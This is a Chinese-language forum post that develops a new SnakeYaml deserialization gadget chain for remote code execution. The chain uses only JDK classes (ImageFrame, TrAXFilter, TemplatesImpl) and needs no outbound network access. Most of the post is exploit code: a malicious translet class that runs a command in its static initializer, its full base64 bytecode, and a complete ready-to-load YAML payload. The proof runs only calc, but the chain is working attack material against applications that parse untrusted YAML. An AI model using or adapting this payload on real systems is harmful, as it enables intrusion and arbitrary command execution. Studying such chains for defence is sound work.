SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘
漏洞分析
其他所有链, 要么需要一些依赖, 要么需要出网 (打 JNDI), 难道 SnakeYaml 在原生的 JDK 下无法不出网 RCE 了么?答案非也.
SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘 ============================== 前言 -- 在 <https://forum.butian.net/share/4467> 中, 我们介绍了许许多多的链子, 都是围绕 SnakeYaml 进行展开的, 但是有且仅有一条链是无需其他依赖, 也就是`MarshalOutputStream`配合`ScriptEngineManager`来写入本地文件后通过 SPI 机制来进行本地 RCE 并且是不需要出网的, 但它的利用版本局限于 JDK > 11. 其他所有链, 要么需要一些依赖, 要么需要出网 (打 JNDI), 难道 SnakeYaml 在原生的 JDK 下无法不出网 RCE 了么?答案非也. 挖掘过程 ---- ### SnakeYaml 机制简单回顾 在《从 SnakeYaml 看 ClassPathXmlApplicationContext 不出网利用》中, 我们总结了`与 FastJson 不同点`, 该表格来源于 P 牛总结, 其表格如下所示: | | Fastjson | SnakeYAML | |---|---|---| | setter | ✅ | ✅ | | getter | ✅ | ❌ | | constructor | ⭕(有条件) | ✅ | 其中所有的 SnakeYaml 链子要么围绕构造器, 要么利用 setter, 要么运用 SnakeYaml 的 HashMap 机制反序列化回来时调用恶意对象的 hashCode 方法进行 RCE. 那么在这个游戏规则之上, 我们如何挖掘一条新链子来进行不出网 RCE 呢? ### 反序列化老朋友 - TemplatesImpl TemplatesImpl 相信大家都很熟悉, 我们经常利用它进行反序列化 RCE 操作, 原因则是它在反序列化中有一条这样的链子:  这张图总结于我发表的《JAVA安全 | Classloader:理解与利用一篇就够了》: [https://mp.weixin.qq.com/s/MFeQJeSdnktnNXL\_6\_PH-w](https://mp.weixin.qq.com/s/MFeQJeSdnktnNXL_6_PH-w) 但实际上这条链子的核心点在于`_name, _bytecodes`等核心变量不为 null 的情况下让其走通走到`ClassLoader::defineClass`方法来完成类加载从而达到代码执行的目的, 也以至于我们在编写反序列化时经常会写出如下 DEMO 将其放到某条链子尾端来进行利用: ```java public static TemplatesImpl getTemplatesImpl() throws Exception { TemplatesImpl templates = new TemplatesImpl(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码 Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); name.setAccessible(true); bytecodes.setAccessible(true); tfactory.setAccessible(true); byte[][] myBytes = new byte[1][]; myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了. bytecodes.set(templates, myBytes); name.set(templates, ""); tfactory.set(templates, new TransformerFactoryImpl()); return templates; } ``` 而我们知道 TemplatesImpl 实际上没有提供 setter 方法, 若想在当前场景利用它则需要观察它的构造器是否可以对这些关键变量赋值:  好巧不巧, TemplatesImpl 它的构造器的初始化变量刚好是我们所需要的三个核心变量. 所以我们"完全"可以利用它的构造器机制来生成一个`恶意的TemplatesImpl实例`. ### CC 链回顾 - TrAXFilter  在这张 CC 链总结图中, 我们可以看到 TemplatesImpl 的前置 TrAXFilter, 它的构造器有调用到`TemplatesImpl::newTransformer`方法, 如图:  很清晰的就可以看到, 在 TrAXFilter 的构造器中调用了恶意 TemplatesImpl 的 newTransformer 方法, 其利用点也是在构造器. 既然 TemplatesImpl 的恶意属性可以在构造器中进行构造, 而 TrAXFilter 的构造器又是传递 TemplatesImpl, 那么这种情况下 SnakeYaml 不就刚好可以进行本地命令执行了吗?想象是美好的, 可现实总是磕磕绊绊. ### 在 SnakeYaml 下构造 byte\[\]\[\] 有了上述思想过后, 我们可以开始试着编写一个 Payload 了, 但需注意的是我们需要构造一个 byte\[\]\[\] 类型的数据, 因为这是 TemplatesImpl 构造器接收字节码必须传递的类型. 那么我们应该如何在 SnakeYaml 下表示一个 byte\[\]\[\] 类型的数据呢?在《从 SnakeYaml 看 ClassPathXmlApplicationContext 不出网利用》中, 我们对`MarshalOutputStream`复现时, 构造过 byte\[\] 类型的数据, 其构造方法来源于官方文档:  但注意官方提供的 !!binary 只能获取 byte\[\], 而不是 byte\[\]\[\], 并且在官方文档中并没有找到对于 byte\[\]\[\] 类型数据构建的说明. 那么这样就没办法了吗? #### 对于 byte\[\]\[\] 构造的探索 这里我打算从`序列化`入手, 让其输出出来观察其数据类型, 准备如下 JavaBean: ```java package com.heihu577.bean; public class TestByte { private byte[][] bytes = new byte[1][]; public TestByte() { bytes[0] = "Hello".getBytes(); } private TestByte(byte[][] bytes) { this.bytes = bytes; } public byte[][] getBytes() { return bytes; } public void setBytes(byte[][] bytes) { this.bytes = bytes; } } ``` 并且以序列化的方式进行输出: ```java @Test public void dumpYmlTester() { Yaml yaml = new Yaml(); String dump = yaml.dump(new TestByte()); System.out.println(dump); /* !!com.heihu577.bean.TestByte bytes: - !!binary |- SGVsbG8= */ } ``` 对于 byte\[\]\[\] 格式的数据我们已经通过序列化的方式得到了, 但是又出现一个问题, 就是在 SnakeYaml 中, 我们未来需要将`byte[][]`传入`TemplatesImpl`构造器的第一个参数, 并且以`!!类名 [!!参数1类型 参数1值, !!参数2类型 参数2值]`一行进行传入, 但我们目前只有多行表示的`byte[][]`, 这种情况我们应该怎么办呢? 而我们知道, Yaml 单行和多行本身就有不同的表达形式, 我们只需要知道该形式换回一行如何表示就行了, 这里我经过多次尝试, 该表达形式本质上只是`[!!binary 内容]`的多行变形, 可以通过如下脚本证明, 首先修改我们的 JavaBean, 增加一个 equals 方法: ```java package com.heihu577.bean; import java.util.Arrays; import java.util.Objects; public class TestByte { private byte[][] bytes = new byte[1][]; public TestByte() { bytes[0] = "Hello".getBytes(); } private TestByte(byte[][] bytes) { this.bytes = bytes; } public byte[][] getBytes() { return bytes; } public void setBytes(byte[][] bytes) { this.bytes = bytes; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; TestByte testByte = (TestByte) o; return Objects.deepEquals(bytes, testByte.bytes); } @Override public int hashCode() { return Arrays.deepHashCode(bytes); } } ``` 将对象与对象之间的比较通过 bytes 成员属性来决定, 随后使用 SnakeYaml 进行反序列化并主动调用 equals 方法进行比较: ```java @Test public void dumpYmlTester() { String yml1 = " !!com.heihu577.bean.TestByte\n" + " bytes:\n" + " - !!binary |-\n" + " SGVsbG8="; String yml2 = "!!com.heihu577.bean.TestByte [[!!binary SGVsbG8=]]"; Yaml yaml = new Yaml(); Object load1 = yaml.load(yml1); Object load2 = yaml.load(yml2); System.out.println(load1.equals(load2)); // true } ``` #### 失败的 TemplatesImpl 实例创建 有了上述巩固的知识体系后, 我们可以编写出如下 Payload, 用来生成 TemplatesImpl: ```php !!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [ [!!binary SGVsbG8=], "heihu577", !!java.util.Properties {}, !!int 0, !!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {} ] ``` 现实会给我当头一棒, 直接爆出异常并告诉我不存在构造器:  嗯?TemplatesImpl 明明存在五个参数的构造器, 现在居然告诉我不存在... #### SnakeYaml 创建实例源码分析 & TemplatesImpl 实例化失败的原因 在这里我不得不亲自点开 SnakeYaml 底层源码看看了, 在`org.yaml.snakeyaml.constructor.Constructor$ConstructSequence`成员内部类中的`construct`方法中存在实例的创建逻辑, 我们看一下具体创建的过程:  可能这样描述比较复杂, 这里我将准备一个案例来理解这个过程到底是什么意思, 定义 JavaBean: ```java package com.heihu577.bean; public class TestByte { private byte[][] bytes = new byte[1][]; private TestByte(String name, byte[][] bytes) { this.bytes = bytes; } private TestByte(byte[][] bytes, String name) { this.bytes = bytes; } } ``` 注意该构造器存在两个构造器, 它们的参数分别是两个, 而使用如下 Payload 是无法成功的: ```java String yml2 = "!!com.heihu577.bean.TestByte [[!!binary SGVsbG8=], \"heihu577\"]"; Yaml yaml = new Yaml(); Object load2 = yaml.load(yml2); System.out.println(load2); ``` 会抛出如下异常:  但当我们将第一个有参构造器注释掉, 让该类只留下一个存在两个参数的构造器: ```java package com.heihu577.bean; public class TestByte { private byte[][] bytes = new byte[1][]; // private TestByte(String name, byte[][] bytes) { // this.bytes = bytes; // } private TestByte(byte[][] bytes, String name) { this.bytes = bytes; } } ``` 再次运行, 创建实例成功:  为什么会这样呢?如源码图片中, 文字说明的那样, 当数量与目标构造器参数数量一致时, 并且仅有一个参数数量相同的构造器, 则会进行强制类型转化:  但实际上我们原本传递的参数`[!!binary SGVsbG8=]`类型被反序列化时转化成了`ArrayList`:  而`TemplatesImpl`由于存在两个5个参数的构造器, 所以`ArrayList`将来不会强制转化为`byte[][]`, 随后在 SnakeYaml 底层会走到第二个分支进行类型判断, `ArrayList ≠ byte[][]`, 所以无法实例化 TemplatesImpl:  ### 突破限制创建 TemplatesImpl 这种底层代码写死的情况下, 我们还有什么方式进行突破该限制?实际上这里能够想到的办法则是, 能不能先创建完`byte[][]`类型之后, 通过一种方式显式的将`byte[][]`声明在 TemplatesImpl 的第一个参数, 这样就算走到 SnakeYaml 的第二个判断逻辑也会通过`byte[][]`找到对应的构造器. 而这一行为刚好与一种场景非常相关联 -> 引用数据类型 Reference. 我在 SnakeYaml 官网翻了一下是否有提供引用数据类型的相关代码, 最终找到了引用的方法: <https://yaml.org/spec/1.1/#>\*%20alias/  在这个文档说明中, 只是简单的告诉我们在 SnakeYaml 中如何进行引用而已, 那么我们应该如何落地到我们当前的场景中呢?又或者说, 我们应该如何在一个 SnakeYaml 中`先`创建一个引用类型`&anchor`, 随后`再`进行`*anchor`进行引用呢? #### 多文档的方式【幻想】 SnakeYaml 支持多文档的方式, 在官网中有如下说明:  在这个案例中, 官方文档通过`---`进行分割文档来完成了一个 yaml 文件多条语句的操作, 这样就会给我们引用类型创建提供先前创建的机会, 随后再使用 \* 进行引入, 当然想法很美好, 但实际上不允许这样做, 准备一个 YML 文件: ```php &HEIHU577 str: Heihu577Tester --- str: *HEIHU577 ``` 随后加载: ```java Yaml yaml = new Yaml(); FileInputStream fileInputStream = new FileInputStream(new File("./my.yml")); Iterable<Object> objects = yaml.loadAll(fileInputStream); for (Object object : objects) { System.out.println(object); } ``` 最终会抛出异常:  #### 使用数组的方式【可行】 对于 PHP 序列化/反序列化比较了解的朋友可能知道, 在一个序列化过程中, 数组是按照次序进行依次反序列化的, 这之前也造成了 PHP 的`fastDestruct`的一些手法, 通过生命周期先与后让 destruct 先被执行从而不被 throw 异常抛出所影响, 这里我们借鉴生命周期的思想. 而我们 SnakeYaml 对于`[]`反序列化回来实际上是一个 ArrayList, 那么根据这个特性是否存在生命周期的概念?我们是否可以创建文档并通过引用进行绕过呢?我们准备如下案例: ```php [ A: &HEIHU577 Heihu577, B: *HEIHU577 ] ``` 随后使用如下案例进行加载: ```java Yaml yaml = new Yaml(); FileInputStream fileInputStream = new FileInputStream(new File("./my.yml")); Object load = yaml.load(fileInputStream); System.out.println(load); // [{A=Heihu577}, {B=Heihu577}] ``` 只需要数组即可搞定, 当然这里的思想也同时借鉴了我发表的《从 SnakeYaml 看 ClassPathXmlApplicationContext 不出网利用》中的 Jetty 链的思想. #### 基于 HashMap 的 TemplatesImpl 链失败构造 在这里实际上思路已经走通了, 我们需要将`byte[][]`类型的数据塞入`HashMap`中, 随后调用`TrAXFilter`, 将 TemplatesImpl 传入的同时, 指明第一个参数为引用类型即可, 编写如下 Payload: ```java [ {binaryData: &A [!!binary "SGVsbG8="]}, !!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [ *A, "heihu577", !!java.util.Properties {}, !!int 0, !!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {} ] ] ``` 但实际上最终也会抛出异常, 仍然是找不到构造器的问题:  实际上原因也比较简单, 因为 HashMap 的 value 部分允许 Object 的类型, 而 ArrayList 类型没有提前参与转化为`byte[][]`. 这里的问题仍然是引用了 ArrayList 导致的. 那么有什么办法能提前转化为`byte[][]`呢?实际上这里就需要查找一些构造器带有`byte[][]`的参数进行提前转化了. #### 查找构造器带有 byte\[\]\[\] 的类 (且构造器数量不能一致) 这里我简单写了一个正则表达式, 用于在 IDEA 中进行批量查找构造器中存在`byte[][]`定义的类: `^\s*(public|protected|private|\s)\s+\w+\s*\([^)]*\bbyte.*?\s*\[\s*\]\s*\[\s*\][^)]*\)`. 查找 setter 中存在`byte[][]`的类: `void\sset.*?\(.*?byte\[\].*?\[\]`. 查找了一番, 在 Jdk8u131 版本的构造器扫描中发现了如下类:  在`com.sun.javafx.iio.ImageFrame`类中, 它的构造器定义如下:  其构造器参数数量不一致, `ImageFrame`刚好符合我们当前所需, 那么就用它了. #### POC 编写 找到链子之后我们可以编写 POC 了, 首先准备一个恶意类: ```java package com.heihu577.bean; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.tomcat.util.codec.binary.Base64; import java.io.IOException; public class Evil extends AbstractTranslet { public static void main(String[] args) { byte[] encode = new Base64().encode(Repository.lookupClass(Evil.class).getBytes()); System.out.println(new String(encode)); } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 运行一下得字节码的 BASE64 值, 编写 YAML 文件: ```php [ !!com.sun.javafx.iio.ImageFrame [null, null, 0, 0, 0, &A [!!binary "yv66vgAAADQAXwoAEgA0BwA1CgACADQHADYKADcAOAoAOQA6CgACADsJADwAPQcAPgoACQA/CgBAAEEKAEIAQwgARAoAQgBFBwBGBwBHCgAQAEgHAEkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExjb20vaGVpaHU1NzcvYmVhbi9FdmlsOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBKAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBGAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAqb3JnL2FwYWNoZS90b21jYXQvdXRpbC9jb2RlYy9iaW5hcnkvQmFzZTY0AQAWY29tL2hlaWh1NTc3L2JlYW4vRXZpbAcASwwATABNBwBODABPAFAMAB4AUQcAUgwAUwBUAQAQamF2YS9sYW5nL1N0cmluZwwAEwBVBwBWDABXAFgHAFkMAFoAWwEABGNhbGMMAFwAXQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEwBeAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAK2NvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL1JlcG9zaXRvcnkBAAtsb29rdXBDbGFzcwEASShMamF2YS9sYW5nL0NsYXNzOylMY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvY2xhc3NmaWxlL0phdmFDbGFzczsBADRjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEABShbQilWAQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEABAASAAAAAAAFAAEAEwAUAAEAFQAAAC8AAQABAAAABSq3AAGxAAAAAgAWAAAABgABAAAADgAXAAAADAABAAAABQAYABkAAAAJABoAGwABABUAAABeAAQAAgAAACK7AAJZtwADEgS4AAW2AAa2AAdMsgAIuwAJWSu3AAq2AAuxAAAAAgAWAAAADgADAAAAEAATABEAIQASABcAAAAWAAIAAAAiABwAHQAAABMADwAeAB8AAQABACAAIQACABUAAAA/AAAAAwAAAAGxAAAAAgAWAAAABgABAAAAHwAXAAAAIAADAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACQAJQACACYAAAAEAAEAJwABACAAKAACABUAAABJAAAABAAAAAGxAAAAAgAWAAAABgABAAAAJAAXAAAAKgAEAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACkAKgACAAAAAQArACwAAwAmAAAABAABACcACAAtABQAAQAVAAAAZgADAAEAAAAXuAAMEg22AA5XpwANS7sAEFkqtwARv7EAAQAAAAkADAAPAAMAFgAAABYABQAAABYACQAZAAwAFwANABgAFgAaABcAAAAMAAEADQAJAC4ALwAAADAAAAAHAAJMBwAxCQABADIAAAACADM="], null], !!com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter [ !!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [*A,"heihu577",!!java.util.Properties {},!!int 0,!!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}] ] ] ``` 加载即可弹窗:  Ending... ---------
发表于 2025-07-29 10:00:01
阅读 ( 1230 )
分类:
代码审计
5 推荐
收藏
0 条评论
Heihu577
2 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!